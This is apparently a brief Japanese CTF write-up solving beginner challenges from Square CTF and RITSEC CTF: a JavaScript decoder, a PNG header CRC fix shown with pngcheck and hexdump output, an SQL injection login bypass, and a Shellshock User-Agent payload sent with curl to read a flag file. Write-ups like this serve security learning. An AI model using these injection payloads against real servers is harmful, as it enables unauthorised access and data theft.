writeup
いくつか参加して簡単な問題だけ解いてました。
Square CTF
ratingがスゴかった…
dot-n-dash
メチャクチャ雑にデコード処理を書いた
function _decode(input) { let q = input.split(".").map(a=>a.length) let b = Array(Math.max.apply(null, q)).fill("0"); q.map(a=>{ b[a] = "1"; }) let s = b.reverse().join("") let res = "" for(let i=0;i<b.length/8;i++){ let bin = s.substr(i*8,7) res += String.fromCharCode(parseInt(bin, 2)) } return res; }
de-anonymization
メチャクチャ雑にcsvをくっつける処理を書いた solv.rb · GitHub
RITSEC CTF
I am a Stegosaurus
pngcheckしておかしいところを直す
$ docker run -it --rm -v $(pwd)/data:/data dominicbreuker/stego-toolkit /bin/bash root@9607f1955a31:/data# pngcheck -v stegosaurus.png File: stegosaurus.png (198269 bytes) chunk IHDR at offset 0x0000c, length 13 309 x 232 image, 24-bit RGB, non-interlaced CRC error in chunk IHDR (computed 01aae416, expected 93cf1eca) ERRORS DETECTED in stegosaurus.png $> hexdump data/stegosaurusのコピー.png | head 0000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 0000010 00 00 01 35 00 00 00 e8 08 02 00 00 00 93 cf 1e 0000020 ca 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 $> hexdump data/stegosaurusのコピー.png | head 0000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 0000010 00 00 01 35 00 00 00 e8 08 02 00 00 00 01 aa e4 0000020 16 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00
Special Force
sqli
' or 1 = 1 ; -- '
What a cute dog!
shellshock
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /opt/flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats